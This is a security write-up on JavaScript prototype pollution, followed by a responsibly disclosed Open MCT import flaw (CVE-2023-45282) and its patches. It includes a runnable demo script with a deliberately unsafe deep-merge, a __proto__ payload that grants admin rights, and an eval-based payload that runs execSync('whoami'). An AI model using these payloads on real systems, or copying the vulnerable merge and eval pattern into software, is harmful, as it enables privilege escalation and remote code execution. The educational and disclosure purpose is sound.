The Prototype Pollution vulnerability is specific to the JavaScript programming language. It enables an attacker to add or alter any properties of global object prototypes. Once the property is changed, the code that inherits it will use the injected property instead of the original one. This can be a very dangerous vulnerability that could (at best) cause a change in the client side of the application business logic or (at worst) a Remote Code Execution (RCE) on the server side.
Examples of Prototype Pollution
Prototype Pollution vulnerability can be introduced while merging different JavaScript types (e.g., configuration) using an insecure, recursive function. The main goal of such a merge function is to recursively go through all properties of an object and include them in another object. If a property is another object, the function calls itself recursively, creating a deep merge of two objects.
Below is an example of a vulnerable deep merge function:
const { isObject } = require("util");
function merge(a, b) {
for (var key in b) {
if (isObject(a[key]) && isObject(b[key])) {
merge(a[key], b[key])
} else {
a[key] = b[key];
}
}
return a
}
The vulnerability is introduced if the JavaScript object has defined an explicit property describing its prototype, __proto__. When recursively merging an object with the __proto__ property into another object, it will override the prototype of the original object.
Business Logic – exploitation
Imagine the User Management module of your application operates on a data structure that describes a user, containing a field isAdmin. If an attacker can pollute the prototype of that structure, they could modify this property always to return true. This exploitation technique could lead to severe implications as an attacker could escalate their privileges to the ones of the application administrator.
Let’s create a class User that contains some user properties:
class User {
constructor() {
this.id = 1;
this.username = "user1";
this.admin = false;
}
isAdmin() {
return this.admin;
}
}
By default, the admin property of a user is set to false. If we now create another (malicious) structure that overrides the admin property and merges it into the user object, our user suddenly will become an admin:
u1 = new User
console.log("Is user admin: " + u1.isAdmin());
payload = { "__proto__": { "admin": true } }
merge(u1, payload);
console.log("Is user admin: " + u1.isAdmin());
Executing the code above, we'll see the following results:
Is user admin: false
Is user admin: true
Remote Code Execution – exploitation
Let’s now take another example that might have much more severe implications. We use the same User class as an example and say that the username property of that class is used by a third-party library that creates console logs.
Create a new user of our User type and craft a malicious payload to give us an RCE. Then merge two objects:
u2 = new User
payload = { "__proto__": { "username": "hacker\"); console.log(process.mainModule.require('child_process').execSync('whoami').toString());//" } }
merge(u2, payload);
For simplicity, let’s now say that our logging functionality looks as follows:
log_msg = 'console.log("username: ' + u2.username + '")';
eval(log_msg);
Now, executing this code altogether will result in an RCE:
username: user1
username: hacker
kali
As you can see, the last line of the output shows the result of our payload execution, which, in this case, is the result of whoami system command.
For convenience, below we attach the whole content of prototype_pollution.js fine, ready to run using Node:
const { isObject } = require("util");
function merge(a, b) {
for (var key in b) {
if (isObject(a[key]) && isObject(b[key])) {
merge(a[key], b[key])
} else {
a[key] = b[key];
}
}
return a
}
class User {
constructor() {
this.id = 1;
this.username = "user1";
this.admin = false;
}
isAdmin() {
return this.admin;
}
}
u1 = new User
console.log("Is user admin: " + u1.isAdmin());
payload = { "__proto__": { "admin": true } }
merge(u1, payload);
console.log("Is user admin: " + u1.isAdmin());
u2 = new User
log_msg = 'console.log("username: ' + u2.username + '")';
eval(log_msg);
payload = { "__proto__": { "username": "hacker\"); console.log(process.mainModule.require('child_process').execSync('whoami').toString());//" } }
merge(u2, payload);
log_msg = 'console.log("username: ' + u2.username + '")';
eval(log_msg);
Run it with node:
node prototype_pollution.js
And examine the results:
Is user admin: false
Is user admin: true
username: user1
username: hacker
kali
NASA Open MCT
The Prototype Pollution vulnerability in Open MCT has been discovered in our open-source software vulnerability assessment activities. The vulnerability was communicated to NASA and promptly fixed by their development team. The problem was also reported to MITRE and can be tracked by the ID CVE-2023-45282.
Assessment Scope and Methodology
The Vulnerability Assessment focused on the Open MCT software in the context of a particular class of vulnerabilities characteristic of JavaScript for front- and back-end applications. In this case, we focused on the Open MCT front-end application. This report is part of the Open MCT product’s broader vulnerability assessment activity by VisionSpace Technologies. This Vulnerability Assessment was conducted by following the white-box testing approach. It involved the code review and its execution and testing using nominal and malicious data sets.
Open MCT Import from JSON
Although preventive measures have been adopted in the third-party modules used by Open MCT, the Import from JSON functionality implements its mechanism to create a deep instance of an object – _deepInstantiate located in the ImportFromJSONAction.js file of the ImportFromJSON plugin. This function recursively goes through a tree of objects reconstructed from the imported JSON file and creates new model objects based on them.

When using the Import from JSON functionality to load a JSON file containing malicious payload (see Figure 2), it is possible to override the prototype of the imported object, which in this case is MutableDomainObject. Since there’s no explicit check for such malicious input in this custom implementation, the function completes successfully, but the internal object structures are altered and polluted with the malicious payload.

This can be observed while debugging the Open MCT application. Figure 3 shows the Prototype of the object reconstructed from the nominal JSON file, which in this case is MutableDomainObject.

Figure 4 shows that by loading a JSON file with the malicious payload, the Prototype of the recreated object is reset to an Object class, and in addition, its toString function is overwritten with a static string value.

By letting the JavaScript continue its execution, an exception is thrown later when another functionality tries to access one of the MutableDomainObject properties, causing the application to crash (see Figure 5).

Implications
Although prototype pollution is often unexploitable as a standalone vulnerability, it lets an attacker control the property of objects that would otherwise be inaccessible. If the application subsequently handles an attacker-controlled property unsafely, this can potentially be chained with other vulnerabilities. This commonly leads to Document Object Model (DOM) Cross-Site Scripting (XSS) in client-side JavaScript, while server-side prototype pollution can even result in RCE.
At this stage, the Import from JSON functionality is unusable, even if the input JSON file is updated and the malicious payload is removed or if a user tries to import content from another plugin. The application will be in such a state if the instance is not restarted. Since, in our case, we’re dealing only with the client application running via Web Browser, a simple refresh of the page is enough.
However, this depends on the plugin that is being used. For instance, the Notebook plugin seems less affected since the import fails relatively soon at the beginning of its execution. In the case of the Plan plugin, the issue persists after the page refresh, effectively causing the DoS.
Steps to Reproduce
a) Create an exemplary Notebook.

b) Export as JSON.

c) Add the malicious payload to the exported JSON file.

d) Delete the existing Notebook in Open MCT.
e) Import the malicious JSON to Open MCT.

f) Observe the JavaScript exception.

Recommendations
Although it was not possible to demonstrate within this activity, it might be possible that an attacker will be able to craft a payload that would cause the prototype pollution at the deeper level (even reaching the Object class itself) or, depending on the plugin and its functionality, the business logic of the application could be compromised causing it to behave unexpectedly. This is especially the case for third-party plugins that might use Import from JSON functionality, as their developers might be unaware of this vulnerability at the core of Open MCT. If meeting certain conditions, the implications can be much more severe than DoS; for instance, loading the malicious JSON file could lead to an XSS or Cross-Site-Request-Forgery (CSRF) vulnerability.
Given the above, it is strongly recommended to patch this vulnerability. This can be done in multiple ways, two of which are briefly described in the later sections.
Functionality Patch
This Prototype Pollution vulnerability can be mitigated by providing an additional check in the function responsible for object deep instantiation (_deepInstantiate located in ImportFromJSONAction.js file). For instance, a condition could be introduced to verify whether the imported object has the explicit __proto__ property and delete it if it is true.

Figure 11 shows how the _deepInstance function could be patched. Lines 99 to 101 introduce a block of code checking that the __proto__ property is present in the imported JSON object; in this case, the property will be deleted in line 100.
To test this, the code execution flow was verified in the debugger. Figure 12 shows the polluted object after loading it (note the identifier property). Figure 13 shows when the __proto_ property is deleted.


Next, Figure 14 shows the line of code that previously crashed due to the Prototype of the mutable object being polluted. The figure shows that the explicit __proto__ property is no longer present, and the Prototype is MutableDomainObject.


Use of a Third-party Library
Using third-party libraries for deep copy/merge/clone of JavaScript objects is generally recommended. A similar vulnerability has already been patched in one of the more known libraries, Deepmerge. The recommendation is to reuse the solution provided with the patch or use the Deepmerge library instead to create a deep copy of an object.
Summary
It has been discovered that Open MCT’s Import from JSON functionality is vulnerable to JavaScript Prototype Pollution. The user input triggers this vulnerability and can cause the client application’s Denial-of-Service (DoS).
References
Written by: Andy Olchawa , Milenko Starcik @VisionSpace


